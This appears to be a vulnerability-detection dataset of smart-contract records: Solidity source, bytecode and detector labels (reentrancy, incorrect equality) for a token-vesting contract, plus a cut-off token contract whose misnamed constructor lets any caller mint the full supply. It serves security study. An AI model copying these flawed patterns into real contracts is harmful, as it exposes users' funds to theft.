fffff1681526020019081526020016000208190555061105281600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111f90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111561110e57600080fd5b600082840390508091505092915050565b60008082840190508381101561113457600080fd5b809150509291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a7231582099a7e86751619c1f33c331d484effe058c059b22b0b056c2f0f927c35b62023964736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 8,937 |
0x1d75c4f7674422c96eb0c5219c84bfc33673f38c
|
/**
*Submitted for verification at Etherscan.io on 2021-06-16
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title Claimable Protocol
* @dev Smart contract allow recipients to claim ERC20 tokens
* according to an initial cliff and a vesting period
* Formual:
* - claimable at cliff: (cliff / vesting) * amount
* - claimable at time t after cliff (t0 = start time)
* (t - t0) / vesting * amount
* - multiple claims, last claim at t1, claim at t:
* (t - t1) / vesting * amount
* or
* (t - t0) / vesting * amount - claimed
*/
contract Claimable is Context {
using SafeMath for uint256;
/// @notice unique claim ticket id, auto-increment
uint256 public currentId;
/// @notice claim ticket
/// @dev payable is not needed for ERC20, need more work to support Ether
struct Ticket {
address token; // ERC20 token address
address payable grantor; // grantor address
address payable beneficiary;
uint256 cliff; // cliff time from creation in days
uint256 vesting; // vesting period in days
uint256 amount; // initial funding amount
uint256 claimed; // amount already claimed
uint256 balance; // current balance
uint256 createdAt; // begin time
uint256 lastClaimedAt;
uint256 numClaims;
bool irrevocable; // cannot be revoked
bool isRevoked; // return balance to grantor
uint256 revokedAt; // revoke timestamp
// mapping (uint256
// => mapping (uint256 => uint256)) claims; // claimId => lastClaimAt => amount
}
/// @dev address => id[]
/// @dev this is expensive but make it easy to create management UI
mapping (address => uint256[]) private grantorTickets;
mapping (address => uint256[]) private beneficiaryTickets;
/**
* Claim tickets
*/
/// @notice id => Ticket
mapping (uint256 => Ticket) public tickets;
event TicketCreated(uint256 id, address token, uint256 amount, bool irrevocable);
event Claimed(uint256 id, address token, uint256 amount);
event Revoked(uint256 id, uint256 amount);
modifier canView(uint256 _id) {
Ticket memory ticket = tickets[_id];
require(ticket.grantor == _msgSender() || ticket.beneficiary == _msgSender(), "Only grantor or beneficiary can view.");
_;
}
modifier notRevoked(uint256 _id) {
Ticket memory ticket = tickets[_id];
require(ticket.isRevoked == false, "Ticket is already revoked");
_;
}
/// @dev show all my grantor tickets
function myGrantorTickets() public view returns (uint256[] memory myTickets) {
myTickets = grantorTickets[_msgSender()];
}
/// @dev show all my beneficiary tickets
function myBeneficiaryTickets() public view returns (uint256[] memory myTickets) {
myTickets = beneficiaryTickets[_msgSender()];
}
/// @notice special cases: cliff = period: all claimable after the cliff
function create(address _token, address payable _beneficiary, uint256 _cliff, uint256 _vesting, uint256 _amount, bool _irrevocable) public returns (uint256 ticketId) {
/// @dev sender needs to approve this contract to fund the claim
require(_beneficiary != address(0), "Beneficiary is required");
require(_amount > 0, "Amount is required");
require(_vesting >= _cliff, "Vesting period should be equal or longer to the cliff");
ERC20 token = ERC20(_token);
require(token.balanceOf(_msgSender()) >= _amount, "Insufficient balance");
require(token.transferFrom(_msgSender(), address(this), _amount), "Funding failed.");
ticketId = ++currentId;
Ticket storage ticket = tickets[ticketId];
ticket.token = _token;
ticket.grantor = _msgSender();
ticket.beneficiary = _beneficiary;
ticket.cliff = _cliff;
ticket.vesting = _vesting;
ticket.amount = _amount;
ticket.balance = _amount;
ticket.createdAt = block.timestamp;
ticket.irrevocable = _irrevocable;
grantorTickets[_msgSender()].push(ticketId);
beneficiaryTickets[_beneficiary].push(ticketId);
emit TicketCreated(ticketId, _token, _amount, _irrevocable);
}
/// @notice claim available balance, only beneficiary can call
function claim(uint256 _id) notRevoked(_id) public returns (bool success) {
Ticket storage ticket = tickets[_id];
require(ticket.beneficiary == _msgSender(), "Only beneficiary can claim.");
require(ticket.balance > 0, "Ticket has no balance.");
ERC20 token = ERC20(ticket.token);
uint256 amount = available(_id);
require(amount > 0, "Nothing to claim.");
require(token.transfer(_msgSender(), amount), "Claim failed");
ticket.claimed = SafeMath.add(ticket.claimed, amount);
ticket.balance = SafeMath.sub(ticket.balance, amount);
ticket.lastClaimedAt = block.timestamp;
ticket.numClaims = SafeMath.add(ticket.numClaims, 1);
emit Claimed(_id, ticket.token, amount);
success = true;
}
/// @notice revoke ticket, balance returns to grantor, only grantor can call
function revoke(uint256 _id) notRevoked(_id) public returns (bool success) {
Ticket storage ticket = tickets[_id];
require(ticket.grantor == _msgSender(), "Only grantor can revoke.");
require(ticket.irrevocable == false, "Ticket is irrevocable.");
require(ticket.balance > 0, "Ticket has no balance.");
ERC20 token = ERC20(ticket.token);
require(token.transfer(_msgSender(), ticket.balance), "Return balance failed");
ticket.isRevoked = true;
ticket.balance = 0;
emit Revoked(_id, ticket.balance);
success = true;
}
/// @dev checks the ticket has cliffed or not
function hasCliffed(uint256 _id) canView(_id) public view returns (bool) {
Ticket memory ticket = tickets[_id];
if (ticket.cliff == 0) {
return true;
}
return block.timestamp > SafeMath.add(ticket.createdAt, SafeMath.mul(ticket.cliff, 86400)); // in seconds 24 x 60 x 60
}
/// @dev calculates the available balances excluding cliff and claims
function unlocked(uint256 _id) canView(_id) public view returns (uint256 amount) {
Ticket memory ticket = tickets[_id];
uint256 timeLapsed = SafeMath.sub(block.timestamp, ticket.createdAt); // in seconds
uint256 vestingInSeconds = SafeMath.mul(ticket.vesting, 86400); // in seconds: 24 x 60 x 60
amount = SafeMath.div(
SafeMath.mul(timeLapsed, ticket.amount),
vestingInSeconds
);
}
/// @notice check available claims, only grantor or beneficiary can call
function available(uint256 _id) canView(_id) notRevoked(_id) public view returns (uint256 amount) {
Ticket memory ticket = tickets[_id];
require(ticket.balance > 0, "Ticket has no balance.");
if (hasCliffed(_id)) {
amount = SafeMath.sub(unlocked(_id), ticket.claimed);
} else {
amount = 0;
}
}
}
|
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80636a132ea6116100665780636a132ea6146102b15780638b1cf21c1461035357806396e494e814610395578063c765f987146103d7578063e00dd161146104365761009e565b806304329181146100a357806320c5429b14610102578063379607f514610146578063463d83501461018a57806350b44712146101ce575b600080fd5b6100ab610454565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156100ee5780820151818401526020810190506100d3565b505050509050019250505060405180910390f35b61012e6004803603602081101561011857600080fd5b81019080803590602001909291905050506104f0565b60405180821515815260200191505060405180910390f35b6101726004803603602081101561015c57600080fd5b8101908080359060200190929190505050610ad8565b60405180821515815260200191505060405180910390f35b6101b6600480360360208110156101a057600080fd5b8101908080359060200190929190505050611118565b60405180821515815260200191505060405180910390f35b6101fa600480360360208110156101e457600080fd5b8101908080359060200190929190505050611598565b604051808f73ffffffffffffffffffffffffffffffffffffffff1681526020018e73ffffffffffffffffffffffffffffffffffffffff1681526020018d73ffffffffffffffffffffffffffffffffffffffff1681526020018c81526020018b81526020018a8152602001898152602001888152602001878152602001868152602001858152602001841515815260200183151581526020018281526020019e50505050505050505050505050505060405180910390f35b61033d600480360360c08110156102c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080351515906020019092919050505061167e565b6040518082815260200191505060405180910390f35b61037f6004803603602081101561036957600080fd5b8101908080359060200190929190505050611cdd565b6040518082815260200191505060405180910390f35b6103c1600480360360208110156103ab57600080fd5b8101908080359060200190929190505050612165565b6040518082815260200191505060405180910390f35b6103df61288b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610422578082015181840152602081019050610407565b505050509050019250505060405180910390f35b61043e612927565b6040518082815260200191505060405180910390f35b60606001600061046261292d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156104e657602002820191906000526020600020905b8154815260200190600101908083116104d2575b5050505050905090565b600081600060036000838152602001908152602001600020604051806101c00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160038201548152602001600482015481526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a8201548152602001600b820160009054906101000a900460ff16151515158152602001600b820160019054906101000a900460ff16151515158152602001600c82015481525050905060001515816101800151151514610727576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5469636b657420697320616c7265616479207265766f6b65640000000000000081525060200191505060405180910390fd5b600060036000868152602001908152602001600020905061074661292d565b73ffffffffffffffffffffffffffffffffffffffff168160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4f6e6c79206772616e746f722063616e207265766f6b652e000000000000000081525060200191505060405180910390fd5b6000151581600b0160009054906101000a900460ff16151514610895576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5469636b65742069732069727265766f6361626c652e0000000000000000000081525060200191505060405180910390fd5b600081600701541161090f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5469636b657420686173206e6f2062616c616e63652e0000000000000000000081525060200191505060405180910390fd5b60008160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61095c61292d565b84600701546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156109b457600080fd5b505af11580156109c8573d6000803e3d6000fd5b505050506040513d60208110156109de57600080fd5b8101908080519060200190929190505050610a61576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f52657475726e2062616c616e6365206661696c6564000000000000000000000081525060200191505060405180910390fd5b600182600b0160016101000a81548160ff021916908315150217905550600082600701819055507f9512e2d66d9b885c324382c80570578a239c21840d3ce4e7607e9583440f49c9868360070154604051808381526020018281526020019250505060405180910390a16001945050505050919050565b600081600060036000838152602001908152602001600020604051806101c00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160038201548152602001600482015481526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a8201548152602001600b820160009054906101000a900460ff16151515158152602001600b820160019054906101000a900460ff16151515158152602001600c82015481525050905060001515816101800151151514610d0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5469636b657420697320616c7265616479207265766f6b65640000000000000081525060200191505060405180910390fd5b6000600360008681526020019081526020016000209050610d2e61292d565b73ffffffffffffffffffffffffffffffffffffffff168160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610df2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4f6e6c792062656e65666963696172792063616e20636c61696d2e000000000081525060200191505060405180910390fd5b6000816007015411610e6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5469636b657420686173206e6f2062616c616e63652e0000000000000000000081525060200191505060405180910390fd5b60008160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000610ea087612165565b905060008111610f18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4e6f7468696e6720746f20636c61696d2e00000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610f3c61292d565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f9057600080fd5b505af1158015610fa4573d6000803e3d6000fd5b505050506040513d6020811015610fba57600080fd5b810190808051906020019092919050505061103d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f436c61696d206661696c6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b61104b836006015482612935565b83600601819055506110618360070154826129bd565b836007018190555042836009018190555061108183600a01546001612935565b83600a01819055507f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed026878460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683604051808481526020018373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1600195505050505050919050565b600081600060036000838152602001908152602001600020604051806101c00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160038201548152602001600482015481526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a8201548152602001600b820160009054906101000a900460ff16151515158152602001600b820160019054906101000a900460ff16151515158152602001600c8201548152505090506112d861292d565b73ffffffffffffffffffffffffffffffffffffffff16816020015173ffffffffffffffffffffffffffffffffffffffff16148061134b575061131861292d565b73ffffffffffffffffffffffffffffffffffffffff16816040015173ffffffffffffffffffffffffffffffffffffffff16145b6113a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612cb46025913960400191505060405180910390fd5b600060036000868152602001908152602001600020604051806101c00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160038201548152602001600482015481526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a8201548152602001600b820160009054906101000a900460ff16151515158152602001600b820160019054906101000a900460ff16151515158152602001600c82015481525050905060008160600151141561156c576001935050611591565b61158b816101000151611586836060015162015180612a07565b612935565b42119350505b5050919050565b60036020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600301549080600401549080600501549080600601549080600701549080600801549080600901549080600a01549080600b0160009054906101000a900460ff169080600b0160019054906101000a900460ff169080600c015490508e565b60008073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611722576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f42656e656669636961727920697320726571756972656400000000000000000081525060200191505060405180910390fd5b60008311611798576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f416d6f756e74206973207265717569726564000000000000000000000000000081525060200191505060405180910390fd5b848410156117f1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180612c5e6035913960400191505060405180910390fd5b6000879050838173ffffffffffffffffffffffffffffffffffffffff166370a0823161181b61292d565b6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561186557600080fd5b505afa158015611879573d6000803e3d6000fd5b505050506040513d602081101561188f57600080fd5b81019080805190602001909291905050501015611914576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd61193861292d565b30876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156119aa57600080fd5b505af11580156119be573d6000803e3d6000fd5b505050506040513d60208110156119d457600080fd5b8101908080519060200190929190505050611a57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f46756e64696e67206661696c65642e000000000000000000000000000000000081525060200191505060405180910390fd5b600080815460010191905081905591506000600360008481526020019081526020016000209050888160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611ac961292d565b8160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550878160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508681600301819055508581600401819055508481600501819055508481600701819055504281600801819055508381600b0160006101000a81548160ff02191690831515021790555060016000611ba361292d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020839080600181540180825580915050600190039060005260206000200160009091909190915055600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208390806001815401808255809150506001900390600052602060002001600090919091909150557fb49ebdf775a5a3b7cbf0dc571bfc6de02d66f0e2680141e457abd6c0c0ac9e9a838a8787604051808581526020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001821515815260200194505050505060405180910390a150509695505050505050565b600081600060036000838152602001908152602001600020604051806101c00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160038201548152602001600482015481526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a8201548152602001600b820160009054906101000a900460ff16151515158152602001600b820160019054906101000a900460ff16151515158152602001600c820154815250509050611e9d61292d565b73ffffffffffffffffffffffffffffffffffffffff16816020015173ffffffffffffffffffffffffffffffffffffffff161480611f105750611edd61292d565b73ffffffffffffffffffffffffffffffffffffffff16816040015173ffffffffffffffffffffffffffffffffffffffff16145b611f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612cb46025913960400191505060405180910390fd5b600060036000868152602001908152602001600020604051806101c00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160038201548152602001600482015481526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a8201548152602001600b820160009054906101000a900460ff16151515158152602001600b820160019054906101000a900460ff16151515158152602001600c820154815250509050600061212b428361010001516129bd565b90506000612140836080015162015180612a07565b9050612159612153838560a00151612a07565b82612a8d565b95505050505050919050565b600081600060036000838152602001908152602001600020604051806101c00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160038201548152602001600482015481526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a8201548152602001600b820160009054906101000a900460ff16151515158152602001600b820160019054906101000a900460ff16151515158152602001600c82015481525050905061232561292d565b73ffffffffffffffffffffffffffffffffffffffff16816020015173ffffffffffffffffffffffffffffffffffffffff161480612398575061236561292d565b73ffffffffffffffffffffffffffffffffffffffff16816040015173ffffffffffffffffffffffffffffffffffffffff16145b6123ed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612cb46025913960400191505060405180910390fd5b83600060036000838152602001908152602001600020604051806101c00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160038201548152602001600482015481526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a8201548152602001600b820160009054906101000a900460ff16151515158152602001600b820160019054906101000a900460ff16151515158152602001600c82015481525050905060001515816101800151151514612622576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5469636b657420697320616c7265616479207265766f6b65640000000000000081525060200191505060405180910390fd5b600060036000888152602001908152602001600020604051806101c00160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160038201548152602001600482015481526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a8201548152602001600b820160009054906101000a900460ff16151515158152602001600b820160019054906101000a900460ff16151515158152602001600c82015481525050905060008160e0015111612851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f5469636b657420686173206e6f2062616c616e63652e0000000000000000000081525060200191505060405180910390fd5b61285a87611118565b1561287c5761287561286b88611cdd565b8260c001516129bd565b9550612881565b600095505b5050505050919050565b60606002600061289961292d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561291d57602002820191906000526020600020905b815481526020019060010190808311612909575b5050505050905090565b60005481565b600033905090565b6000808284019050838110156129b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006129ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612ad7565b905092915050565b600080831415612a1a5760009050612a87565b6000828402905082848281612a2b57fe5b0414612a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612c936021913960400191505060405180910390fd5b809150505b92915050565b6000612acf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b97565b905092915050565b6000838311158290612b84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b49578082015181840152602081019050612b2e565b50505050905090810190601f168015612b765780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290612c43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612c08578082015181840152602081019050612bed565b50505050905090810190601f168015612c355780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c4f57fe5b04905080915050939250505056fe56657374696e6720706572696f642073686f756c6420626520657175616c206f72206c6f6e67657220746f2074686520636c696666536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f6e6c79206772616e746f72206f722062656e65666963696172792063616e20766965772ea2646970667358221220df2aca15346bfd7bdaf3d8a0e8c52ef8428050d49e788a1f109a498c862aeaad64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,938 |
0x9aea058aa9116e3c9c8f02b454008d33c117f874
|
pragma solidity ^0.4.21 ;
contract RE_Portfolio_II_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_II_883 " ;
string public symbol = " RE883II " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1546798683705000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_II_metadata_line_1_____Allianz_SE_20250515 >
// < aD6659uLmi5A3u43fpHdW3jo6Md642TsTt4rbMDO56c03aI1zCRtFrWlr3b70RVW >
